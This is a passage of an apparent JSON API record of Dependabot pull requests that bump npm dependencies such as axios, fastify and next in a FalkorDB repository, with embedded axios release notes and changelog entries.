isAbsoluteURL (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\"\u003e\u003ccode\u003e28c7215\u003c/code\u003e\u003c/a\u003e fix: Denial of Service via \u003cstrong\u003eproto\u003c/strong\u003e Key in mergeConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/04cf01969ed58f96920da032f340bfe4614aab90\"\u003e\u003ccode\u003e04cf019\u003c/code\u003e\u003c/a\u003e docs: clarify object check comment (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/696fa753c5366afbd21859c294c64c9ff2b359ab\"\u003e\u003ccode\u003e696fa75\u003c/code\u003e\u003c/a\u003e fix: status is missing in AxiosError on and after v1.13.3 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/569f028a5878faaec8d7d138ba686aac407bda4c\"\u003e\u003ccode\u003e569f028\u003c/code\u003e\u003c/a\u003e fix: added a option to choose between legacy and the new request/response int...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/44b7c9f0c4900fd8784f18e871199402f07fc69f\"\u003e\u003ccode\u003e44b7c9f\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump karma-sourcemap-loader (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/axios/axios/compare/v1.6.7...v1.13.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for axios since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/FalkorDB/falkordb-dbaas/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/FalkorDB/falkordb-dbaas/pull/677","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/FalkorDB%2Ffalkordb-dbaas/issues/677","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/677/packages"}},{"old_version":"2.2.2","new_version":"6.2.0","update_type":"major","path":null,"pr_created_at":"2026-04-09T06:07:44.000Z","version_change":"2.2.2 → 6.2.0","issue":{"uuid":"4229821794","node_id":"PR_kwDOQsw9oM7RBynC","number":4,"state":"closed","title":"Bump the npm_and_yarn group across 6 directories with 27 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-11T11:39:59.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-09T06:07:44.000Z","updated_at":"2026-04-11T11:40:00.000Z","time_to_close":192735,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":27,"packages":[{"name":"axios","old_version":"1.7.9","new_version":"1.13.5","repository_url":"https://github.com/axios/axios"},{"name":"drizzle-orm","old_version":"0.38.3","new_version":"0.45.2","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"fast-jwt","old_version":"2.2.2","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"fastify","old_version":"4.23.2","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"qs","old_version":"6.11.0","new_version":"6.14.2","repository_url":"https://github.com/ljharb/qs"},{"name":"ajv","old_version":"8.12.0","new_version":"8.18.0","repository_url":"https://github.com/ajv-validator/ajv"},{"name":"jsonpath","old_version":"1.1.1","new_version":"1.3.0","repository_url":"https://github.com/dchester/jsonpath"},{"name":"liquidjs","old_version":"10.7.1","new_version":"10.25.5","repository_url":"https://github.com/harttle/liquidjs"},{"name":"markdown-it","old_version":"13.0.1","new_version":"14.1.1","repository_url":"https://github.com/markdown-it/markdown-it"},{"name":"mjml","old_version":"4.14.1","new_version":"4.18.0","repository_url":"https://github.com/mjmlio/mjml"},{"name":"nodemailer","old_version":"6.9.7","new_version":"8.0.5","repository_url":"https://github.com/nodemailer/nodemailer"},{"name":"next","old_version":"13.5.6","new_version":"15.5.14","repository_url":"https://github.com/vercel/next.js"},{"name":"@tiptap/extension-link","old_version":"2.7.1","new_version":"2.10.4","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"vite","old_version":"5.4.6","new_version":"6.4.2","repository_url":"https://github.com/vitejs/vite"},{"name":"bn.js","old_version":"4.12.0","new_version":"4.12.3","repository_url":"https://github.com/indutny/bn.js"},{"name":"flatted","old_version":"3.2.7","new_version":"3.4.2","repository_url":"https://github.com/WebReflection/flatted"},{"name":"js-yaml","old_version":"3.14.1","new_version":"3.14.2","repository_url":"https://github.com/nodeca/js-yaml"},{"name":"jws","old_version":"3.2.2","new_version":"3.2.3","repository_url":"https://github.com/brianloveswords/node-jws"},{"name":"lodash","old_version":"4.17.21","new_version":"4.18.1","repository_url":"https://github.com/lodash/lodash"},{"name":"minimatch","old_version":"3.1.2","new_version":"3.1.5","repository_url":"https://github.com/isaacs/minimatch"},{"name":"node-forge","old_version":"1.3.1","new_version":"1.4.0","repository_url":"https://github.com/digitalbazaar/forge"},{"name":"picomatch","old_version":"2.3.1","new_version":"2.3.2","repository_url":"https://github.com/micromatch/picomatch"},{"name":"tar","old_version":"6.1.15","new_version":"6.2.1","repository_url":"https://github.com/isaacs/node-tar"},{"name":"webpack","old_version":"5.96.1","new_version":"5.106.0","repository_url":"https://github.com/webpack/webpack"},{"name":"yaml","old_version":"1.10.2","new_version":"1.10.3","repository_url":"https://github.com/eemeli/yaml"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 25 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [axios](https://github.com/axios/axios) | `1.7.9` | `1.13.5` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.38.3` | `0.45.2` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `2.2.2` | `6.2.0` |\n| [fastify](https://github.com/fastify/fastify) | `4.23.2` | `5.8.3` |\n| [qs](https://github.com/ljharb/qs) | `6.11.0` | `6.14.2` |\n| [ajv](https://github.com/ajv-validator/ajv) | `8.12.0` | `8.18.0` |\n| [jsonpath](https://github.com/dchester/jsonpath) | `1.1.1` | `1.3.0` |\n| [liquidjs](https://github.com/harttle/liquidjs) | `10.7.1` | `10.25.5` |\n| [markdown-it](https://github.com/markdown-it/markdown-it) | `13.0.1` | `14.1.1` |\n| [mjml](https://github.com/mjmlio/mjml/tree/HEAD/packages/mjml) | `4.14.1` | `4.18.0` |\n| [nodemailer](https://github.com/nodemailer/nodemailer) | `6.9.7` | `8.0.5` |\n| [next](https://github.com/vercel/next.js) | `13.5.6` | `15.5.14` |\n| [@tiptap/extension-link](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-link) | `2.7.1` | `2.10.4` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `5.4.6` | `6.4.2` |\n| [bn.js](https://github.com/indutny/bn.js) | `4.12.0` | `4.12.3` |\n| [flatted](https://github.com/WebReflection/flatted) | `3.2.7` | `3.4.2` |\n| [js-yaml](https://github.com/nodeca/js-yaml) | `3.14.1` | `3.14.2` |\n| [jws](https://github.com/brianloveswords/node-jws) | `3.2.2` | `3.2.3` |\n| [lodash](https://github.com/lodash/lodash) | `4.17.21` | `4.18.1` |\n| [minimatch](https://github.com/isaacs/minimatch) | `3.1.2` | `3.1.5` |\n| [node-forge](https://github.com/digitalbazaar/forge) | `1.3.1` | `1.4.0` |\n| [picomatch](https://github.com/micromatch/picomatch) | `2.3.1` | `2.3.2` |\n| [tar](https://github.com/isaacs/node-tar) | `6.1.15` | `6.2.1` |\n| [webpack](https://github.com/webpack/webpack) | `5.96.1` | `5.106.0` |\n| [yaml](https://github.com/eemeli/yaml) | `1.10.2` | `1.10.3` |\n\nBumps the npm_and_yarn group with 1 update in the /packages/admin-cli directory: [drizzle-orm](https://github.com/drizzle-team/drizzle-orm).\nBumps the npm_and_yarn group with 3 updates in the /packages/api directory: [drizzle-orm](https://github.com/drizzle-team/drizzle-orm), [fast-jwt](https://github.com/nearform/fast-jwt) and [fastify](https://github.com/fastify/fastify).\nBumps the npm_and_yarn group with 5 updates in the /packages/backend-lib directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.38.4` | `0.45.2` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `2.2.3` | `6.2.0` |\n| [fastify](https://github.com/fastify/fastify) | `4.23.2` | `5.8.3` |\n| [markdown-it](https://github.com/markdown-it/markdown-it) | `13.0.2` | `14.1.1` |\n| [nodemailer](https://github.com/nodemailer/nodemailer) | `6.10.1` | `8.0.5` |\n\nBumps the npm_and_yarn group with 3 updates in the /packages/dashboard directory: [drizzle-orm](https://github.com/drizzle-team/drizzle-orm), [qs](https://github.com/ljharb/qs) and [next](https://github.com/vercel/next.js).\nBumps the npm_and_yarn group with 1 update in the /packages/emailo directory: [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite).\n\nUpdates `axios` from 1.7.9 to 1.13.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/releases\"\u003eaxios's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.13.5\u003c/h2\u003e\n\u003ch2\u003eRelease 1.13.5\u003c/h2\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e Fixed a potential \u003cstrong\u003eDenial of Service\u003c/strong\u003e issue involving the \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBug fix:\u003c/strong\u003e Resolved an issue where \u003ccode\u003eAxiosError\u003c/code\u003e could be missing the \u003ccode\u003estatus\u003c/code\u003e field on and after \u003cstrong\u003ev1.13.3\u003c/strong\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003ch4\u003eSecurity\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix Denial of Service via \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix/5657. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7313\"\u003e#7313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003estatus\u003c/code\u003e is present in \u003ccode\u003eAxiosError\u003c/code\u003e on and after v1.13.3. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFeatures / Improvements\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eAdd input validation to \u003ccode\u003eisAbsoluteURL\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor: bump minor package versions. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7356\"\u003e#7356\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDocumentation\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eClarify object-check comment. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecated \u003ccode\u003eBuffer\u003c/code\u003e constructor usage and README formatting. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCI / Maintenance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eChore: fix issues with YAML. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7355\"\u003e#7355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: update workflow YAMLs. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: fix run condition. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDev deps: bump \u003ccode\u003ekarma-sourcemap-loader\u003c/code\u003e from 0.3.8 to 0.4.0. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore(release): prepare release 1.13.5. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sachin11063\"\u003e\u003ccode\u003e@​sachin11063\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/asmitha-16\"\u003e\u003ccode\u003e@​asmitha-16\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/axios/axios/compare/v1.13.4...v1.13.5\"\u003ehttps://github.com/axios/axios/compare/v1.13.4...v1.13.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.13.4\u003c/h2\u003e\n\u003ch2\u003eOverview\u003c/h2\u003e\n\u003cp\u003eThe release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/axios/axios/compare/v1.13.3...v1.13.4\"\u003ev1.13.3...v1.13.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's New in v1.13.4\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix: issues with version 1.13.3\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7352\"\u003e#7352\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ee90dfc28abffbb61e24974b2bd3139a4a40ac76\"\u003eee90dfc\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eFixed issues discovered in v1.13.3 release\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/blob/v1.x/CHANGELOG.md\"\u003eaxios's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/axios/axios/compare/v1.13.2...v1.13.3\"\u003e1.13.3\u003c/a\u003e (2026-01-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ehttp2:\u003c/strong\u003e Use port 443 for HTTPS connections by default. (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7256\"\u003e#7256\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d7e60653460480ffacecf85383012ca1baa6263e\"\u003ed7e6065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einterceptor:\u003c/strong\u003e handle the error in the same interceptor (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6269\"\u003e#6269\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/5945e40bb171d4ac4fc195df276cf952244f0f89\"\u003e5945e40\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emain field in package.json should correspond to cjs artifacts (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5756\"\u003e#5756\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7373fbff24cd92ce650d99ff6f7fe08c2e2a0a04\"\u003e7373fbf\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epackage.json:\u003c/strong\u003e add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5754\"\u003e#5754\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/b89217e3e91de17a3d55e2b8f39ceb0e9d8aeda8\"\u003eb89217e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esilentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7257\"\u003e#7257\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7d19335e43d6754a1a9a66e424f7f7da259895bf\"\u003e7d19335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eturn AxiosError into a native error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5394\"\u003e#5394\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5558\"\u003e#5558\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/1c6a86dd2c0623ee1af043a8491dbc96d40e883b\"\u003e1c6a86d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e add handlers to AxiosInterceptorManager interface (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5551\"\u003e#5551\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/8d1271b49fc226ed7defd07cd577bd69a55bb13a\"\u003e8d1271b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e restore AxiosError.cause type from unknown to Error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7327\"\u003e#7327\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d8233d9e8e9a64bfba9bbe01d475ba417510b82b\"\u003ed8233d9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eunclear error message is thrown when specifying an empty proxy authorization (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6314\"\u003e#6314\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/6ef867e684adf7fb2343e3b29a79078a3c76dc29\"\u003e6ef867e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd \u003ccode\u003eundefined\u003c/code\u003e as a value in AxiosRequestConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5560\"\u003e#5560\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/095033c626895ecdcda2288050b63dcf948db3bd\"\u003e095033c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd automatic minor and patch upgrades to dependabot (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6053\"\u003e#6053\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/65a7584eda6164980ddb8cf5372f0afa2a04c1ed\"\u003e65a7584\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd Node.js coverage script using c8 (closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7289\"\u003e#7289\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7294\"\u003e#7294\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ec9d94e9f88da13e9219acadf65061fb38ce080a\"\u003eec9d94e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadded copilot instructions (\u003ca href=\"https://github.com/axios/axios/commit/3f83143bfe617eec17f9d7dcf8bafafeeae74c26\"\u003e3f83143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ecompatibility with frozen prototypes (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6265\"\u003e#6265\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/860e03396a536e9b926dacb6570732489c9d7012\"\u003e860e033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eenhance pipeFileToResponse with error handling (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7169\"\u003e#7169\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/88d78842541610692a04282233933d078a8a2552\"\u003e88d7884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e Intellisense for string literals in a widened union (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6134\"\u003e#6134\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/f73474d02c5aa957b2daeecee65508557fd3c6e5\"\u003ef73474d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com//redirect.github.com/microsoft/TypeScript/issues/33471/issues/issuecomment-1376364329\"\u003emicrosoft/TypeScript#33471\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: silentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e…\u0026quot; (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/a4230f5581b3f58b6ff531b6dbac377a4fd7942a\"\u003ea4230f5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7334\"\u003e#7334\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/2d6ad5e48bd29b0b2b5e7e95fb473df98301543a\"\u003e2d6ad5e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors to this release\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/ashvin2005\" title=\"+1752/-4 ([#7218](https://github.com/axios/axios/issues/7218) [#7218](https://github.com/axios/axios/issues/7218) )\"\u003eAshvin Tiwari\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/mochinikunj\" title=\"+940/-12 ([#7294](https://github.com/axios/axios/issues/7294) [#7294](https://github.com/axios/axios/issues/7294) )\"\u003eNikunj Mochi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/imanchalsingh\" title=\"+544/-102 ([#7169](https://github.com/axios/axios/issues/7169) [#7185](https://github.com/axios/axios/issues/7185) )\"\u003eAnchal Singh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/jasonsaayman\" title=\"+317/-73 ([#7334](https://github.com/axios/axios/issues/7334) [#7298](https://github.com/axios/axios/issues/7298) )\"\u003ejasonsaayman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/brodo\" title=\"+99/-120 ([#5558](https://github.com/axios/axios/issues/5558) )\"\u003eJulian Dax\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/AKASHDHARDUBEY\" title=\"+167/-0 ([#7287](https://github.com/axios/axios/issues/7287) [#7288](https://github.com/axios/axios/issues/7288) )\"\u003eAkash Dhar Dubey\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/madhumitaaa\" title=\"+20/-68 ([#7198](https://github.com/axios/axios/issues/7198) )\"\u003eMadhumita\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Tackoil\" title=\"+80/-2 ([#6269](https://github.com/axios/axios/issues/6269) )\"\u003eTackoil\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/justindhillon\" title=\"+41/-41 ([#6324](https://github.com/axios/axios/issues/6324) [#6315](https://github.com/axios/axios/issues/6315) )\"\u003eJustin Dhillon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Rudrxxx\" title=\"+71/-2 ([#7257](https://github.com/axios/axios/issues/7257) )\"\u003eRudransh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/WuMingDao\" title=\"+36/-36 ([#7215](https://github.com/axios/axios/issues/7215) )\"\u003eWuMingDao\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/codenomnom\" title=\"+70/-0 ([#7201](https://github.com/axios/axios/issues/7201) [#7201](https://github.com/axios/axios/issues/7201) )\"\u003ecodenomnom\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Nandann018-ux\" title=\"+60/-10 ([#7272](https://github.com/axios/axios/issues/7272) )\"\u003eNandan Acharya\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/KernelDeimos\" title=\"+22/-40 ([#7042](https://github.com/axios/axios/issues/7042) )\"\u003eEric Dubé\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/tiborpilz\" title=\"+40/-4 ([#5551](https://github.com/axios/axios/issues/5551) )\"\u003eTibor Pilz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e 